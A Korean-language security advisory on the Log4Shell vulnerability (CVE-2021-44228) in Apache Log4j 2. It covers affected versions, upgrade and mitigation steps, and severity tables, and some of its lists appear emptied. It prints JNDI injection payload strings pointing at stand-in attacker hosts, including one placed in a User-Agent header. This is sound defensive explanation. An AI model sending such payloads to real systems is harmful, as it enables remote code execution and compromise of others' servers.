
CVE-2021-44228
Apache Log4j 2의 치명적인 원격 코드 실행 취약점으로, Log4Shell로 널리 알려져 있습니다.
CVE-2021-44228은 Apache Log4j 2 버전 2.x (2.15.0 이전)에서 2021년 12월에 발견된 치명적인 RCE 취약점입니다.
인증되지 않은 원격 공격자가 특수하게 조작된 입력을 Log4j가 기록하도록 하여 취약한 시스템에서 임의의 코드를 실행할 수 있습니다. 이 결함은 전 세계적으로 수많은 Java 기반 애플리케이션과 서비스에 영향을 미칩니다.
이 취약점은 Log4j가 기록된 문자열에서 JNDI 조회를 처리하는 방식에서 발생합니다. 공격자는 기록된 메시지에 악의적인 JNDI 리소스(예: LDAP, DNS)를 포함시킬 수 있습니다. 예:
${jndi:ldap://attacker.com/a}
Log4j는 다음 단계를 수행합니다:
이를 통해 공격자는 영향을 받는 서비스에서 완전한 **원격 코드 실행(RCE)**을 달성할 수 있습니다.
Log4j는 수많은 라이브러리와 애플리케이션에서 사용되므로, 신뢰할 수 없는 데이터를 기록하는 모든 시스템이 취약할 수 있습니다.
다음 Log4j 2 버전이 취약합니다:
>= 2.0-beta9 및 < 2.15.0
또한 2.15.0의 일부 구성은 여전히 익스플로잇 가능했으므로, 2.16.0 이상이 안전 기준입니다.
Log4j 2 버전으로 업데이트하세요:
2.17.1 이상
이후 패치(예: 2.17.2, 2.19.0 등)에서 추가로 안전성이 개선되었습니다.
즉시 업그레이드가 불가능하다면 다음을 수행할 수 있습니다:
log4j2.formatMsgNoLookups=true
JndiLookup 클래스 제거:
zip -q -d log4j-core.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
이러한 단계는 업데이트할 때까지 노출을 줄이는 데 도움이 됩니다.
이 취약점은 익스플로잇하기 매우 쉽습니다. 공격자는 HTTP 헤더, 양식 매개변수, 채팅 메시지, 데이터베이스 필드 등을 통해 조작된 문자열을 전송하기만 하면 됩니다. 해당 문자열이 애플리케이션에 의해 기록되면:
User-Agent: ${jndi:ldap://attacker.example/a}
기록되면 애플리케이션은 원격 조회를 수행하고 공격자가 제어하는 Java 코드를 실행하도록 강제될 수 있습니다.
Log4Shell은 전 세계적으로 엄청난 영향을 미쳤습니다:
이것은 수십 년 만에 가장 중요한 취약점 중 하나입니다.
취약한 시스템은 다음 방법으로 탐지할 수 있습니다:
${jndi:) 스캔애플리케이션이나 사용 중인 라이브러리가 Log4j 2.x에 의존한다면, 즉시 패치된 버전(≥ 2.17.1)으로 업데이트하고 JNDI 조회가 비활성화 또는 제거되었는지 확인하십시오.
| 메트릭 | 세부 정보 |
|---|
| CVSS v3.1 기본 점수 | 10.0 (치명적) |
| 공격 벡터 | 네트워크 |
| 필요 권한 | 없음 |
| 사용자 상호작용 | 없음 |
| 인증 | 필요 없음 |
| 영향 | 전체 RCE |
| 필드 | 값 |
|---|
| CVE ID | CVE-2021-44228 |
| 별칭 | Log4Shell |
| 제품 | Apache Log4j 2 |
| 심각도 | 치명적 (CVSS 10.0) |
| 유형 | 원격 코드 실행 |
| 영향 | 전체 시스템 손상 |
| 익스플로잇 용이성 | 매우 쉬움 |
| 완화 방법 | 2.17.1 이상으로 패치 |